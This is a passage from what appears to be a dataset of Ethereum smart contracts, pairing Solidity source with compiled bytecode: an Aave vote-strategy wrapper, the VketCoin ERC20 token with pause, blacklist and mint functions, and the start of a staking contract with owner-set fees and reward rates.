// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @title LendVoteStrategyToken
* @notice Wrapper contract to allow fetching aggregated balance of LEND and aLEND from an address,
* used on the AaveProtoGovernance
* @author Aave
**/
contract LendVoteStrategyToken is IVoteStrategyToken {
using SafeMath for uint256;
IERC20 public immutable LEND;
IERC20 public immutable ALEND;
string internal constant NAME = 'Lend Vote Strategy (EthLend Token + Aave Interest bearing LEND)';
string internal constant SYMBOL = 'LEND + aLEND';
uint8 internal constant DECIMALS = 18;
constructor(IERC20 lend, IERC20 aLend) public {
LEND = lend;
ALEND = aLend;
}
function name() external override view returns (string memory) {
return NAME;
}
function symbol() external override view returns (string memory) {
return SYMBOL;
}
function decimals() external override view returns (uint8) {
return DECIMALS;
}
/**
* @dev Returns the aggregated LEND + aLEND balance of `voter`
* @param voter The address of the voter
* @return The aggregated balance
*/
function balanceOf(address voter) external override view returns (uint256) {
return LEND.balanceOf(voter).add(ALEND.balanceOf(voter));
}
}
|
0x608060405234801561001057600080fd5b50600436106100625760003560e01c806306fdde0314610067578063313ce567146100e457806370a082311461010257806395d89b411461013a578063e1f2aeff14610142578063f301e78114610166575b600080fd5b61006f61016e565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100a9578181015183820152602001610091565b50505050905090810190601f1680156100d65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6100ec61018e565b6040805160ff9092168252519081900360200190f35b6101286004803603602081101561011857600080fd5b50356001600160a01b0316610193565b60408051918252519081900360200190f35b61006f6102d4565b61014a6102fa565b604080516001600160a01b039092168252519081900360200190f35b61014a61031e565b60606040518060600160405280603f81526020016103a4603f9139905090565b601290565b60006102ce7f0000000000000000000000007d2d3688df45ce7c552e19c27e007673da9204b86001600160a01b03166370a08231846040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561020557600080fd5b505afa158015610219573d6000803e3d6000fd5b505050506040513d602081101561022f57600080fd5b5051604080516370a0823160e01b81526001600160a01b03868116600483015291517f00000000000000000000000080fb784b7ed66730e8b1dbd9820afd29931aab03909216916370a0823191602480820192602092909190829003018186803b15801561029c57600080fd5b505afa1580156102b0573d6000803e3d6000fd5b505050506040513d60208110156102c657600080fd5b505190610342565b92915050565b60408051808201909152600c81526b13115391080ac8185311539160a21b602082015290565b7f0000000000000000000000007d2d3688df45ce7c552e19c27e007673da9204b881565b7f00000000000000000000000080fb784b7ed66730e8b1dbd9820afd29931aab0381565b60008282018381101561039c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe4c656e6420566f746520537472617465677920284574684c656e6420546f6b656e202b204161766520496e7465726573742062656172696e67204c454e4429a26469706673582212209002d6e6752ecf434b03f46d8a9b9ba2363084e69d7d25cf0b1f2be084c9d97164736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 1,605 |
0xfe6e2cbd2e28b3a6f43aa17f58d9ac5d6fa19b99
|
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------------------------------
// @title SafeMath
// @dev Math operations with safety checks that throw on error
// @dev see https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
// ----------------------------------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// ----------------------------------------------------------------------------------------------------
// @title ERC20Basic
// @dev Simpler version of ERC20 interface
// @dev See https://github.com/ethereum/EIPs/issues/179
// ----------------------------------------------------------------------------------------------------
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// ----------------------------------------------------------------------------------------------------
// @title ERC20 interface
// @dev See https://github.com/ethereum/EIPs/issues/20
// ----------------------------------------------------------------------------------------------------
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// ----------------------------------------------------------------------------------------------------
// @title Basic token
// @dev Basic version of StandardToken, with no allowances.
// ----------------------------------------------------------------------------------------------------
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// ----------------------------------------------------------------------------------------------------
// @title Ownable
// ----------------------------------------------------------------------------------------------------
contract Ownable {
// Development Team Leader
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() { require(msg.sender == owner); _; }
}
// ----------------------------------------------------------------------------------------------------
// @title BlackList
// @dev Base contract which allows children to implement an emergency stop mechanism.
// ----------------------------------------------------------------------------------------------------
contract BlackList is Ownable {
event Lock(address indexed LockedAddress);
event Unlock(address indexed UnLockedAddress);
mapping( address => bool ) public blackList;
modifier CheckBlackList { require(blackList[msg.sender] != true); _; }
function SetLockAddress(address _lockAddress) external onlyOwner returns (bool) {
require(_lockAddress != address(0));
require(_lockAddress != owner);
require(blackList[_lockAddress] != true);
blackList[_lockAddress] = true;
emit Lock(_lockAddress);
return true;
}
function UnLockAddress(address _unlockAddress) external onlyOwner returns (bool) {
require(blackList[_unlockAddress] != false);
blackList[_unlockAddress] = false;
emit Unlock(_unlockAddress);
return true;
}
}
// ----------------------------------------------------------------------------------------------------
// @title Pausable
// @dev Base contract which allows children to implement an emergency stop mechanism.
// ----------------------------------------------------------------------------------------------------
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() { require(!paused); _; }
modifier whenPaused() { require(paused); _; }
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// ----------------------------------------------------------------------------------------------------
// @title Standard ERC20 token
// @dev Implementation of the basic standard token.
// @dev see https://github.com/ethereum/EIPs/issues/20
// ----------------------------------------------------------------------------------------------------
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// ----------------------------------------------------------------------------------------------------
// @title MultiTransfer Token
// @dev Only Admin
// ----------------------------------------------------------------------------------------------------
contract MultiTransferToken is StandardToken, Ownable {
function MultiTransfer(address[] _to, uint256[] _amount) onlyOwner public returns (bool) {
require(_to.length == _amount.length);
uint256 ui;
uint256 amountSum = 0;
for (ui = 0; ui < _to.length; ui++) {
require(_to[ui] != address(0));
amountSum = amountSum.add(_amount[ui]);
}
require(amountSum <= balances[msg.sender]);
for (ui = 0; ui < _to.length; ui++) {
balances[msg.sender] = balances[msg.sender].sub(_amount[ui]);
balances[_to[ui]] = balances[_to[ui]].add(_amount[ui]);
emit Transfer(msg.sender, _to[ui], _amount[ui]);
}
return true;
}
}
// ----------------------------------------------------------------------------------------------------
// @title Burnable Token
// @dev Token that can be irreversibly burned (destroyed).
// ----------------------------------------------------------------------------------------------------
contract BurnableToken is StandardToken, Ownable {
event BurnAdminAmount(address indexed burner, uint256 value);
function burnAdminAmount(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit BurnAdminAmount(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
}
}
// ----------------------------------------------------------------------------------------------------
// @title Mintable token
// @dev Simple ERC20 Token example, with mintable token creation
// @dev Based on https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
// ----------------------------------------------------------------------------------------------------
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() { require(!mintingFinished); _; }
modifier cannotMint() { require(mintingFinished); _; }
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// ----------------------------------------------------------------------------------------------------
// @title Pausable token
// @dev StandardToken modified with pausable transfers.
// ----------------------------------------------------------------------------------------------------
contract PausableToken is StandardToken, Pausable, BlackList {
function transfer(address _to, uint256 _value) public whenNotPaused CheckBlackList returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused CheckBlackList returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused CheckBlackList returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused CheckBlackList returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused CheckBlackList returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// ----------------------------------------------------------------------------------------------------
// @Project Victory Rocket
// @Creator TIBS Korea
// ----------------------------------------------------------------------------------------------------
contract VketCoin is PausableToken, MintableToken, BurnableToken, MultiTransferToken {
string public name = "vKet";
string public symbol = "KET";
uint256 public decimals = 18;
}
|
0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461013757806306fdde03146101605780630896937e146101ea578063095ea7b31461027857806318160ddd1461029c57806323b872dd146102c3578063313ce567146102ed5780633f4ba83a1461030257806340c10f19146103195780634838d1651461033d5780635c975abb1461035e578063661884631461037357806370a082311461039757806376227f3b146103b85780637d64bcb4146103d05780638456cb59146103e55780638da5cb5b146103fa57806395d89b411461042b578063a9059cbb14610440578063c201df9714610464578063c286f3d914610485578063d73dd623146104a6578063dd62ed3e146104ca575b600080fd5b34801561014357600080fd5b5061014c6104f1565b604080519115158252519081900360200190f35b34801561016c57600080fd5b506101756104fa565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101af578181015183820152602001610197565b50505050905090810190601f1680156101dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f657600080fd5b506040805160206004803580820135838102808601850190965280855261014c95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506105889650505050505050565b34801561028457600080fd5b5061014c600160a060020a03600435166024356107a7565b3480156102a857600080fd5b506102b16107f4565b60408051918252519081900360200190f35b3480156102cf57600080fd5b5061014c600160a060020a03600435811690602435166044356107fa565b3480156102f957600080fd5b506102b1610849565b34801561030e57600080fd5b5061031761084f565b005b34801561032557600080fd5b5061014c600160a060020a03600435166024356108c7565b34801561034957600080fd5b5061014c600160a060020a03600435166109b8565b34801561036a57600080fd5b5061014c6109cd565b34801561037f57600080fd5b5061014c600160a060020a03600435166024356109dd565b3480156103a357600080fd5b506102b1600160a060020a0360043516610a23565b3480156103c457600080fd5b50610317600435610a3e565b3480156103dc57600080fd5b5061014c610b16565b3480156103f157600080fd5b50610317610b7c565b34801561040657600080fd5b5061040f610bf9565b60408051600160a060020a039092168252519081900360200190f35b34801561043757600080fd5b50610175610c08565b34801561044c57600080fd5b5061014c600160a060020a0360043516602435610c63565b34801561047057600080fd5b5061014c600160a060020a0360043516610ca9565b34801561049157600080fd5b5061014c600160a060020a0360043516610d38565b3480156104b257600080fd5b5061014c600160a060020a0360043516602435610dfe565b3480156104d657600080fd5b506102b1600160a060020a0360043581169060243516610e44565b60055460ff1681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105805780601f1061055557610100808354040283529160200191610580565b820191906000526020600020905b81548152906001019060200180831161056357829003601f168201915b505050505081565b60035460009081908190600160a060020a031633146105a657600080fd5b83518551146105b457600080fd5b5060009050805b84518210156106285784516000908690849081106105d557fe5b60209081029091010151600160a060020a031614156105f357600080fd5b61061b848381518110151561060457fe5b60209081029091010151829063ffffffff610e6f16565b60019092019190506105bb565b3360009081526020819052604090205481111561064457600080fd5b600091505b845182101561079c5761068a848381518110151561066357fe5b6020908102909101810151336000908152918290526040909120549063ffffffff610e7e16565b3360009081526020819052604090205583516106f6908590849081106106ac57fe5b9060200190602002015160008088868151811015156106c757fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff610e6f16565b600080878581518110151561070757fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055845185908390811061073857fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206112b4833981519152868581518110151561077257fe5b906020019060200201516040518082815260200191505060405180910390a3600190910190610649565b506001949350505050565b60035460009060a060020a900460ff16156107c157600080fd5b3360009081526004602052604090205460ff161515600114156107e357600080fd5b6107ed8383610e90565b9392505050565b60015490565b60035460009060a060020a900460ff161561081457600080fd5b3360009081526004602052604090205460ff1615156001141561083657600080fd5b610841848484610ef6565b949350505050565b60085481565b600354600160a060020a0316331461086657600080fd5b60035460a060020a900460ff16151561087e57600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600354600090600160a060020a031633146108e157600080fd5b60055460ff16156108f157600080fd5b600154610904908363ffffffff610e6f16565b600155600160a060020a038316600090815260208190526040902054610930908363ffffffff610e6f16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000916000805160206112b48339815191529181900360200190a350600192915050565b60046020526000908152604090205460ff1681565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff16156109f757600080fd5b3360009081526004602052604090205460ff16151560011415610a1957600080fd5b6107ed838361105b565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a03163314610a5557600080fd5b33600090815260208190526040902054811115610a7157600080fd5b33600090815260208190526040902054610a91908263ffffffff610e7e16565b33600090815260208190526040902055600154610ab4908263ffffffff610e7e16565b60015560408051828152905133917fa0f3dea10c8bf26d7f1b6b0cf33166195f48616c562c681b49eaaa2423894d00919081900360200190a260408051828152905160009133916000805160206112b48339815191529181900360200190a350565b600354600090600160a060020a03163314610b3057600080fd5b60055460ff1615610b4057600080fd5b6005805460ff191660011790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a03163314610b9357600080fd5b60035460a060020a900460ff1615610baa57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b6007805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105805780601f1061055557610100808354040283529160200191610580565b60035460009060a060020a900460ff1615610c7d57600080fd5b3360009081526004602052604090205460ff16151560011415610c9f57600080fd5b6107ed838361114b565b600354600090600160a060020a03163314610cc357600080fd5b600160a060020a03821660009081526004602052604090205460ff161515610cea57600080fd5b600160a060020a038216600081815260046020526040808220805460ff19169055517f0be774851955c26a1d6a32b13b020663a069006b4a3b643ff0b809d3182605729190a2506001919050565b600354600090600160a060020a03163314610d5257600080fd5b600160a060020a0382161515610d6757600080fd5b600354600160a060020a0383811691161415610d8257600080fd5b600160a060020a03821660009081526004602052604090205460ff16151560011415610dad57600080fd5b600160a060020a038216600081815260046020526040808220805460ff19166001179055517fc1b5f12cea7c200ad495a43bf2d4c7ba1a753343c06c339093937849de84d9139190a2506001919050565b60035460009060a060020a900460ff1615610e1857600080fd5b3360009081526004602052604090205460ff16151560011415610e3a57600080fd5b6107ed838361121a565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000828201838110156107ed57fe5b600082821115610e8a57fe5b50900390565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a0383161515610f0d57600080fd5b600160a060020a038416600090815260208190526040902054821115610f3257600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610f6257600080fd5b600160a060020a038416600090815260208190526040902054610f8b908363ffffffff610e7e16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610fc0908363ffffffff610e6f16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054611002908363ffffffff610e7e16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391926000805160206112b4833981519152929181900390910190a35060019392505050565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156110b057336000908152600260209081526040808320600160a060020a03881684529091528120556110e5565b6110c0818463ffffffff610e7e16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000600160a060020a038316151561116257600080fd5b3360009081526020819052604090205482111561117e57600080fd5b3360009081526020819052604090205461119e908363ffffffff610e7e16565b3360009081526020819052604080822092909255600160a060020a038516815220546111d0908363ffffffff610e6f16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233926000805160206112b48339815191529281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a038616845290915281205461124e908363ffffffff610e6f16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a3506001929150505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058207dcb9a2e97e8a86308749870aea6d35d2512176a87e140180d5e0bec625c84d30029
|
{"success": true, "error": null, "results": {}}
| 1,606 |
0x4575ac7c324bfd7d2d39e2b7910b7149fb6481fe
|
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
admin = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(admin, newOwner);
admin = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract FARMINGYFIPETHLP is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
address public tokenAddress;
address public liquiditytoken1;
// reward rate % per year
uint public rewardRate = 15000;
uint public rewardInterval = 365 days;
// staking fee percent
uint public stakingFeeRate = 100;
// unstaking fee percent
uint public unstakingFeeRate = 100;
// unstaking possible Time
uint public PossibleUnstakeTime = 48 hours;
uint public totalClaimedRewards = 0;
uint private FundedTokens;
bool public stakingStatus = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
/*=============================ADMINISTRATIVE FUNCTIONS ==================================*/
function setTokenAddresses(address _tokenAddr, address _liquidityAddr) public onlyOwner returns(bool){
require(_tokenAddr != address(0) && _liquidityAddr != address(0), "Invalid addresses format are not supported");
tokenAddress = _tokenAddr;
liquiditytoken1 = _liquidityAddr;
}
function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){
stakingFeeRate = _stakingFeeRate;
unstakingFeeRate = _unstakingFeeRate;
}
function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){
rewardRate = _rewardRate;
}
function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){
FundedTokens = _poolreward;
}
function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){
PossibleUnstakeTime = _possibleUnstakeTime;
}
function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){
rewardInterval = _rewardInterval;
}
function allowStaking(bool _status) public onlyOwner returns(bool){
require(tokenAddress != address(0) && liquiditytoken1 != address(0), "Interracting token addresses are not yet configured");
stakingStatus = _status;
}
